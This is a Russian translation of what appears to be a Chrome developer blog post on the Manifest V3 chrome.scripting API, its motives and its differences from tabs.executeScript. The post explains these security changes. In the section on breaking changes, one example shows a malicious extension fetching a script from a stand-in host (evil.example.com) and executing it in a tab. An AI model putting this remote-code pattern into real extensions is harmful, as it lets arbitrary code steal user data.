Представляем chrome.scripting

Манифест V3 вносит ряд изменений в платформу расширений Chrome. В этом посте мы рассмотрим мотивы и изменения, вызванные одним из наиболее заметных изменений: введением API chrome.scripting .

Что такое chrome.scripting?

Как следует из названия, chrome.scripting — это новое пространство имен, представленное в Манифесте V3, отвечающее за возможности внедрения сценариев и стилей.

Разработчики, создававшие расширения Chrome в прошлом, возможно, знакомы с методами Manifest V2 в API вкладок, такими как chrome.tabs.executeScript и chrome.tabs.insertCSS . Эти методы позволяют расширениям внедрять на страницы скрипты и таблицы стилей соответственно. В Manifest V3 эти возможности перенесены в chrome.scripting , и в будущем мы планируем расширить этот API некоторыми новыми возможностями.

Зачем создавать новый API?

При таких изменениях один из первых вопросов, который обычно возникает: «Почему?»

Несколько различных факторов привели к тому, что команда Chrome решила ввести новое пространство имен для сценариев. Во-первых, Tabs API — это своего рода мусорный ящик для функций. Во-вторых, нам нужно было внести критические изменения в существующий API executeScript . В-третьих, мы знали, что хотим расширить возможности сценариев для расширений. В совокупности эти проблемы четко определили потребность в новом пространстве имен для размещения возможностей сценариев.

Ящик для мусора

Одна из проблем, которая беспокоила команду разработчиков расширений в течение последних нескольких лет, заключается в том, что API chrome.tabs перегружен. Когда этот API был впервые представлен, большинство предоставляемых им возможностей были связаны с широкой концепцией вкладок браузера. Однако даже на тот момент это был своего рода набор функций, и с годами эта коллекция только росла.

К моменту выпуска Manifest V3 API вкладок расширился и теперь охватывает базовое управление вкладками, управление выбором, организацию окон, обмен сообщениями, управление масштабированием, базовую навигацию, сценарии и несколько других более мелких возможностей. Хотя все это важно, это может быть немного утомительно для разработчиков, когда они только начинают работу, и для команды Chrome, когда мы поддерживаем платформу и рассматриваем запросы сообщества разработчиков.

Еще одним усложняющим фактором является то, что разрешение tabs не совсем понятно. Хотя многие другие разрешения ограничивают доступ к определенному API (например, storage ), это разрешение немного необычно тем, что оно предоставляет расширению доступ только к конфиденциальным свойствам экземпляров Tab (и, как следствие, также влияет на Windows API). Понятно, что многие разработчики расширений ошибочно полагают, что это разрешение им необходимо для доступа к методам API вкладок, таким как chrome.tabs.create или, что более уместно, chrome.tabs.executeScript . Удаление функциональности из API вкладок помогает прояснить часть этой путаницы.

Критические изменения

При разработке Manifest V3 одной из основных проблем, которые мы хотели решить, были злоупотребления и вредоносное ПО, создаваемое «удаленно размещенным кодом» — кодом, который выполняется, но не включен в пакет расширения. Авторы злоумышленных расширений часто выполняют сценарии, полученные с удаленных серверов, для кражи пользовательских данных, внедрения вредоносного ПО и уклонения от обнаружения. Хотя хорошие актеры тоже используют эту возможность, в конечном итоге мы почувствовали, что оставаться в таком состоянии просто слишком опасно.

Существует несколько разных способов, с помощью которых расширения могут выполнять несвязанный код, но наиболее подходящим здесь является метод chrome.tabs.executeScript манифеста V2. Этот метод позволяет расширению выполнять произвольную строку кода на целевой вкладке. Это, в свою очередь, означает, что злонамеренный разработчик может получить произвольный скрипт с удаленного сервера и выполнить его на любой странице, к которой имеет доступ расширение. Мы знали, что если хотим решить проблему с удаленным кодом, нам придется отказаться от этой функции.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

Мы также хотели устранить некоторые другие, более тонкие проблемы в дизайне версии Manifest V2 и сделать API более совершенным и предсказуемым инструментом.

Хотя мы могли бы изменить сигнатуру этого метода в API вкладок, мы чувствовали, что между этими критическими изменениями и введением новых возможностей (описанных в следующем разделе) полный разрыв будет проще для всех.

Расширение возможностей сценариев

Еще одним соображением, которое учитывалось при разработке Manifest V3, было желание добавить дополнительные возможности создания сценариев в платформу расширений Chrome. В частности, мы хотели добавить поддержку сценариев динамического содержимого и расширить возможности метода executeScript .

Поддержка сценариев динамического контента — давняя потребность в Chromium. Сегодня расширения Chrome Manifest V2 и V3 могут только статически объявлять сценарии содержимого в своем файле manifest.json ; платформа не предоставляет возможности регистрировать новые сценарии контента, настраивать регистрацию сценариев контента или отменять регистрацию сценариев контента во время выполнения.

Хотя мы знали, что хотим реализовать этот запрос функции в Manifest V3, ни один из наших существующих API не казался нам подходящим местом. Мы также рассматривали возможность согласования API Content Scripts с Firefox, но очень рано выявили пару серьезных недостатков этого подхода. Во-первых, мы знали, что у нас будут несовместимые подписи (например, прекращение поддержки свойства code ). Во-вторых, у нашего API был другой набор конструктивных ограничений (например, необходимость сохранения регистрации после окончания срока службы работника службы). Наконец, это пространство имен также позволит нам отнести нас к функциональности сценариев контента, где мы думаем о сценариях в расширениях в более широком смысле.

Что касается executeScript , мы также хотели расширить возможности этого API за пределы того, что поддерживала версия API вкладок. Точнее, мы хотели поддерживать функции и аргументы, упростить работу с конкретными кадрами и контекстами, не относящимися к вкладкам.

В дальнейшем мы также рассматриваем, как расширения могут взаимодействовать с установленными PWA и другими контекстами, которые концептуально не соответствуют «вкладкам».

Изменения между tabs.executeScript и scripting.executeScript

В оставшейся части статьи я хотел бы более подробно рассмотреть сходства и различия между chrome.tabs.executeScript и chrome.scripting.executeScript .

Внедрение функции с аргументами

Обдумывая, как платформа должна будет развиваться в свете ограничений на удаленное размещение кода, мы хотели найти баланс между мощью выполнения произвольного кода и разрешением только сценариев со статическим контентом. Решение, к которому мы пришли, заключалось в том, чтобы позволить расширениям внедрять функцию в качестве сценария содержимого и передавать массив значений в качестве аргументов.

Давайте кратко рассмотрим (слишком упрощенный) пример. Допустим, мы хотим внедрить скрипт, который приветствует пользователя по имени, когда он нажимает кнопку действия расширения (значок на панели инструментов). В Манифесте V2 мы могли динамически создавать строку кода и выполнять этот сценарий на текущей странице.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Хотя расширения Manifest V3 не могут использовать код, не связанный с расширением, наша цель состояла в том, чтобы сохранить некоторую динамику, которую произвольные блоки кода обеспечивают для расширений Manifest V2. Подход с использованием функций и аргументов позволяет обозревателям Интернет-магазина Chrome, пользователям и другим заинтересованным сторонам более точно оценивать риски, которые представляет расширение, а также позволяет разработчикам изменять поведение расширения во время выполнения на основе пользовательских настроек или состояния приложения.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Таргетинговые рамки

Мы также хотели улучшить взаимодействие разработчиков с фреймами в обновленном API. Версия executeScript Manifest V2 позволяла разработчикам ориентироваться либо на все кадры на вкладке, либо на определенный кадр на вкладке. Вы можете использовать chrome.webNavigation.getAllFrames , чтобы получить список всех кадров на вкладке.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

В Манифесте V3 мы заменили необязательное целочисленное frameId в объекте параметров необязательным массивом целых frameIds ; это позволяет разработчикам использовать несколько кадров в одном вызове API.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Результаты внедрения скрипта

Мы также улучшили способ возврата результатов внедрения скриптов в Manifest V3. «Результат» — это, по сути, окончательный оператор, оцененный в сценарии. Думайте об этом как о значении, возвращаемом при вызове eval() или выполнении блока кода в консоли Chrome DevTools, но сериализованном для передачи результатов между процессами.

В Манифесте V2 executeScript и insertCSS возвращали массив простых результатов выполнения. Это нормально, если у вас есть только одна точка внедрения, но порядок результатов не гарантируется при внедрении в несколько кадров, поэтому невозможно определить, какой результат с каким кадром связан.

В качестве конкретного примера давайте посмотрим на массивы results , возвращаемые версиями Manifest V2 и Manifest V3 одного и того же расширения. Обе версии расширения будут внедрять один и тот же сценарий контента, и мы будем сравнивать результаты на одной и той же демонстрационной странице .

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Когда мы запускаем версию Manifest V2, мы получаем массив [1, 0, 5] . Какой результат соответствует основному фрейму, а какой — iframe? Возвращаемое значение нам ничего не говорит, поэтому мы не знаем наверняка.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

В версии Manifest V3 results теперь содержат массив объектов результатов вместо массива только результатов оценки, и объекты результатов четко идентифицируют идентификатор кадра для каждого результата. Это значительно упрощает разработчикам использование результата и выполнение действий над конкретным кадром.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Заворачивать

Обновления версий манифеста предоставляют редкую возможность переосмыслить и модернизировать API расширений. Наша цель с Manifest V3 — улучшить удобство работы конечных пользователей, сделав расширения более безопасными, а также улучшив удобство работы для разработчиков. Включив chrome.scripting в Manifest V3, мы смогли помочь очистить API вкладок, переосмыслить executeScript для более безопасной платформы расширений и заложить основу для новых возможностей сценариев, которые появятся позже в этом году.